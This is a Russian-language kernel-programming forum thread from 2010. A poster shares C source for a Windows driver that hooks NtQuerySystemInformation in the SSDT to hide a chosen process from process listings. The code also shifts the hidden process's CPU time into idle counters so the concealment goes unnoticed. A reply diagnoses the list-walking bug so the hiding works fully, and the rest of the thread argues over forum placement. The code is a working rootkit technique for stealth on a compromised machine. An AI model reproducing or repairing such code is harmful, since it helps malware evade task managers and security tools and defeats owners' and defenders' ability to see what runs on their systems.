NtQuerySystemInformation

Тема в разделе "WASM.NT.KERNEL", создана пользователем Mika0x65, 12 дек 2010.

  1. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    Мое почтение всем.

    Перехватываю NtQuerySystemInformation в SSDT в целях сокрытия процесса. С самим перехватом все Ок. Затем прохожу по списку процессов в поисках процесса, который надо выкинуть из списка. Беда в том, что я не всегда вижу все процессы в этом списке. Т.е., например, запущенный taskmgr.exe в списке отсутствует. Как такое может быть? Скорее всего ошибка где-то у меня, но в чем проблема -- не понимаю. VM, XP32 SP2, 2 cores. Моя NtQuerySystemInformation выглядит так:
    Код (Text):
    1. NTSTATUS NewZwQuerySystemInformation(IN  ULONG SystemInformationClass,
    2.                                      IN  PVOID SystemInformation,
    3.                                      IN  ULONG SystemInformationLength,
    4.                                      OUT PULONG ReturnLength)
    5. {
    6.     KIRQL          PrevIrql;
    7.     WCHAR          ProcName[PROCESS_NAME_LEN];
    8.     UNICODE_STRING usProcName;
    9.     NTSTATUS       status;
    10.     NTSTATUS      (*FuncPtr)(ULONG, PVOID, ULONG, PULONG);
    11.  
    12.     FuncPtr = (NTSTATUS (*)(ULONG, PVOID, ULONG, PULONG))OldZwQuerySystemInformation;
    13.     status = FuncPtr(SystemInformationClass,
    14.                      SystemInformation,
    15.                      SystemInformationLength,
    16.                      ReturnLength);
    17.  
    18.     if (NT_SUCCESS(status))
    19.     {
    20.         if (SystemInformationClass == SystemProcessorPerfomanceInformation)
    21.         {
    22.             PSYSTEM_PROCESSOR_PERFOMANCE_INFO pPerfInfo;
    23.  
    24.             pPerfInfo = (PSYSTEM_PROCESSOR_PERFOMANCE_INFO)SystemInformation;
    25.  
    26.             pPerfInfo ->IdleTime.QuadPart += UserTime.QuadPart;
    27.             pPerfInfo ->IdleTime.QuadPart += KernelTime.QuadPart;
    28.         }
    29.         if (SystemInformationClass == SystemProcessInformation)
    30.         {
    31.             PSYSTEM_PROCESS_INFORMATION pCurrProcInfo, pPrevProcInfo;
    32.  
    33.             pPrevProcInfo = NULL;
    34.             pCurrProcInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    35.  
    36.             KeAcquireSpinLock(&lock, &PrevIrql);
    37.             memcpy(ProcName, ProcessName, PROCESS_NAME_LEN * sizeof(ProcName[0]));
    38.             KeReleaseSpinLock(&lock, PrevIrql);
    39.             RtlInitUnicodeString(&usProcName, ProcName);
    40.  
    41.             do
    42.             {
    43.                 DBG_PRINT2("[proc:] %S\n", pCurrProcInfo ->ProcessName.Buffer);
    44.                 if (pCurrProcInfo ->ProcessName.Buffer == NULL)
    45.                 {
    46.                     pCurrProcInfo ->KernelTime.QuadPart += KernelTime.QuadPart;
    47.  
    48.                     KernelTime.QuadPart = 0;
    49.                 }
    50.                 else
    51.                 {
    52.                     if (RtlCompareUnicodeString(&pCurrProcInfo ->ProcessName, &usProcName, 1) == 0)
    53.                     {
    54.                         if (pPrevProcInfo)
    55.                         {
    56.                             if (pCurrProcInfo ->NextEntryOffset == 0)
    57.                             {
    58.                                 pPrevProcInfo ->NextEntryOffset = 0;
    59.                             }
    60.                             else
    61.                             {
    62.                                 pPrevProcInfo ->NextEntryOffset += pCurrProcInfo ->NextEntryOffset;
    63.                             }
    64.                         }
    65.                         KernelTime.QuadPart = pCurrProcInfo ->KernelTime.QuadPart;
    66.                     }
    67.                 }
    68.  
    69.                 pPrevProcInfo = pCurrProcInfo;
    70.                 (PUCHAR)pCurrProcInfo += pCurrProcInfo ->NextEntryOffset;
    71.             }
    72.             while(pCurrProcInfo ->NextEntryOffset);
    73.         }
    74.     }
    75.  
    76.     return status;
    77. }
    Заранее благодарен за ответ.
     
  2. 0x6b65

    0x6b65 Забанен

    Публикаций:
    0
    Регистрация:
    8 окт 2009
    Сообщения:
    92
    Если в списке больше одного элемента, то последний никогда не будет обрабатываться.
    Условие (pCurrProcInfo->NextEntryOffset) означает что нет следующего элемента. Учитесь писать циклы.

    Уберите этот топик из этого раздела (в LANG.C или а еще лучше BEGINNERS)!
     
  3. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    0x6b65
    номане номане, пусть здесь, пригодится. другие тоже скорее всего здесь искать будут
     
  4. 0x6b65

    0x6b65 Забанен

    Публикаций:
    0
    Регистрация:
    8 окт 2009
    Сообщения:
    92
    "Как работать с односвязным списком на C?" Отличный тема для NT.KERNEL
     
  5. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    0x6b65
    а по Вашему в кернел все профи? изучите раздел ещё раз, это далеко не так ) пригодится, лучше чем нагружать мискл, оплачиваемый энтузиазмом создателя
     
  6. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    Акелла промахнулся. Дома проверю, там у меня еще один вопрос был, но есть вероятность, что он отпадет. Если тема так уж неприятна, можно удалить чуть позже.
     
  7. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    Mika0x65
    не понял, в смысле?
     
  8. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    В том смысле, что ошибся мерзко.